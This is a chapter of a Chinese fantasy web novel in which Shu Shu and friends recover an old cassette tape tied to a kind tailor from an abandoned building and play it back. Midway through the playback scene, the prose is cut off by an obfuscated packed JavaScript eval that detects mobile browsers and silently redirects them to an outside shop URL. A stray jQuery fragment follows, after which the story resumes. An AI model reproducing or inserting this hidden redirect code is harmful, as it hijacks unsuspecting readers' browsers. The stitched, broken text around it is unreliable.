南城行回来的第三天，院子里的落叶终于扫干净了。
石桌上摊着那卷旧档案的影印照片，林小满用手肘压住边角不让他们翻起来，另一只手指着一处红圈标记。小暖蹲在桌面上，暖光从它圆滚滚的身体里溢出来，顺着纸面缓缓扫了一圈，在一处地址上停住了。
“城东旧图书馆隔壁街，空置居民楼，”林小满念完备注栏，“‘异常持续，未消除’。这个是六年前记录的，还在。”
书书坐在石桌对面，手里的笔停了。他抬起头来看向林小满，脸上带着一点意外的神色：“这条街……我住过。我刚化形那几年就在那栋楼隔壁。”
院子里安静了一下。白泽放下手里的茶杯，陶陶从门槛上转过头来，小暖的金色小眼睛转向书书的方向。书书低头摸了摸那本书的封皮，手指沿着书脊的棱线慢慢滑下去，声音比刚才轻了一点：“我住的那栋楼里有个老裁缝。他不会说话，但人很好。刚化形那阵我什么都不懂，冬天的时候他给我做了一件棉衣，棉衣里面缝了一小块布条，上面用线绣了一个字：‘安’。”
他顿了一下：“后来搬走了，没来得及跟他好好道别。”
林小满把档案收起来：“那就去看看。楼还在，围挡没完全封死。”她转头看了一眼窗外，初冬的北城天光灰白，“下午去。”
那条街比书书记忆里旧了不少。两边的梧桐树又粗了一圈，叶子落了大半，剩下的几片枯黄的在风里摇着。路面重新铺过沥青，颜色比两旁的老楼深一个度。空置居民楼的入口被围挡围着，铁皮板生了锈，底部被人扒开了一条缝。
书书站在围挡外面，没有立刻进去。他偏过头看了一眼隔壁那栋还在住人的老楼——六楼阳台的窗台上摆着一排旧花盆，里面是枯了的茎叶，不知道是花还是菜，已经干得看不出原来的样子了。他看了一会儿才转回身，从围挡缝隙里钻了进去。
楼里的光线比外面暗很多。楼道很窄，地面是水泥的，台阶边缘被踩得磨圆了。空气中有一股陈年的灰和旧木料混在一起的气味，不潮，只是干干的、厚厚地积在每一个角落里。一楼走廊的墙皮大片剥落，露出底下灰色底灰，有几处用粉笔写过什么字，但时间太久已经模糊得认不出了。
小暖从白泽肩头蹦下来，滚在前面引路。它没在一楼停留，也没有去二楼，径直上了三楼，在一扇虚掩的门前面停住了。门框上的油漆起了一层细密的泡，门板表面贴着半张褪色的旧墙纸，印着淡蓝色碎花图案。小暖用圆脑袋顶开门缝挤了进去，林小满跟进去的时候看见那间屋不大，客厅里空荡荡的，只有墙角一个倒扣的木箱，箱面落了厚厚一层灰。窗帘还挂着，浅蓝色的涤纶布已经脆了，边缘卷曲起来，阳光透过布料缝隙在地面上画了几道细长的淡光。
小暖停在朝南那面墙前面。它用触须贴着墙面探了一遍，从墙纸缝隙里慢慢伸进去一缕暖白色的光，然后抽出来，回头看向林小满：“……里面有。”
书书走过来蹲下，伸手碰了一下墙纸边缘。墙纸已经脆了，一碰就裂开了一条缝。他和林小满一人拽着一角轻轻往下拉，整面墙纸像一层枯叶一样剥落下来，哗啦啦地卷成一堆堆在地板上。墙纸底下是一层薄薄的石灰板，有几处已经开裂了。拆开石灰板之后，露出的墙洞夹层里放着一只旧铁盒。铁盒不大，约莫两盒扑克牌叠起来的大小，表面生了一层暗红色的锈。
书书的手碰到那只铁盒的瞬间顿了一下。他翻过盒子，在盒底看到一行用圆珠笔写的小字，笔画有点抖：“三楼东，陈。”
他的手指按在“陈”字上面停了片刻，然后轻轻打开盒盖。里面只有一样东西——一小段磁带。磁带是普通的录音带，标签已经褪色了，只能勉强辨认出最底下有一行更淡的笔迹，写得歪歪扭扭的，像是手不太稳的人慢慢描上去的。小暖把整盒磁带裹进自己的暖光里，白金色的光芒在磁带的塑料外壳上停了一会儿。一丝极细的暗气从标签缝隙里渗出来，被暖光裹住，消散了。磁带盒轻轻转了一点点，像被什么人从远处拨了一下。
小暖收回暖光，蹦回白泽肩膀上，金色小眼睛看了书书一眼，暖光比之前暗了一点点：“……没了。里面只有这个。”
回到福利院的时候天色已经暗了。胡离从屋角翻出一台旧录音机，是早些年收的二手货，还能转。他把磁带塞进卡槽里，按下播放键。机器先响了一阵沙沙的底噪，然后里面慢慢浮出了一段旋律——很模糊，像是从很远的地方录来的，音质被时间磨得粗糙，但能听出来是手风琴。旋律很短，不到一分钟，带着一种说不上来的调子，听起来不像什么有名的歌，倒像是有人自己编的、自己拉的，录下来之后放在盒子里忘了。磁带转完那段旋律之后又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943825|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
响了几秒底噪，然后停了。
书书坐在录音机旁边听完了那不到一分钟的曲子。他两只手搭在膝盖上，手指轻轻攥着裤子的布料，没有动作，也没有说话。磁带转完最后几秒的时候，他低头看了看自己膝上那本书，手指从封面移到扉页夹着的那片银杏叶上，沿着叶脉的纹路慢慢滑了一下。然后他说：“老裁缝以前每天傍晚放这首歌。他说他年轻时在北方待过，那边的人唱这个。”
他的声音很平。但捏着书页边角的手指微微用力了一下，让纸页的边缘起了一个小折痕。
白泽坐在他对面。他看了书书片刻，然后把自己面前那杯热水端起来，从桌面上推了过去。水杯顺着桌面滑到书书手边停住，里面的水面晃了两下，稳了。书书抬头看了白泽一眼，接过来喝了一口，没多说什么。他把水杯握在掌心里，过了一会儿才松开。
那天晚上书书在院子里坐到很晚。他把那盘磁带盒放在膝盖上，没有再去听它，只是放在那里。他坐的地方正对着枣树，能看见树根东南方向那根绿芽的位置——虽然天黑了看不清，但白天的时候他路过时特意看了一眼，那两片小叶子比刚发现那天又展开了一点点，边缘的嫩绿色稍微深了一个色号。
林小满从屋里出来的时候他还在那里。她在他旁边站了一下，也没坐下，就说了一句：“楼拆之前还能再去看一眼。”
书书抬头看了她一眼，点了点头。
小暖从门缝里滚出来，滚到书书脚边。它没有跳到他的膝盖上，只是贴着书书搭在膝盖边缘的手指，暖光温和地亮了一小会儿，然后安安静静地蜷在那里，像一小团不打扰人的暖意。偏房里白泽房间的灯亮着，窗纸上映出一方暖色的光。灯亮得很安稳，不像等人，像只是还没熄。
书书站起来回屋的时候，把那盘磁带放在了石桌上。第二天早上他起来的时候，磁带不见了。他翻了翻自己那本书，发现最后一页的夹层比平时鼓了一点。他打开来看，那盘磁带被妥帖地放在了夹层里面，标签朝上，盒面被擦过，标签上的灰已经没了。他没有问是谁放的。他只是把书合上，放回自己常放的位置，然后去灶台边盛粥了。
院子里谁也没有提到那盘磁带。但那天早上石桌上多了一碟胡离从巷口买的糖饼，里面有一块被单独放在碟子边沿，没有撒糖粉，是原味的——书书不吃太甜的。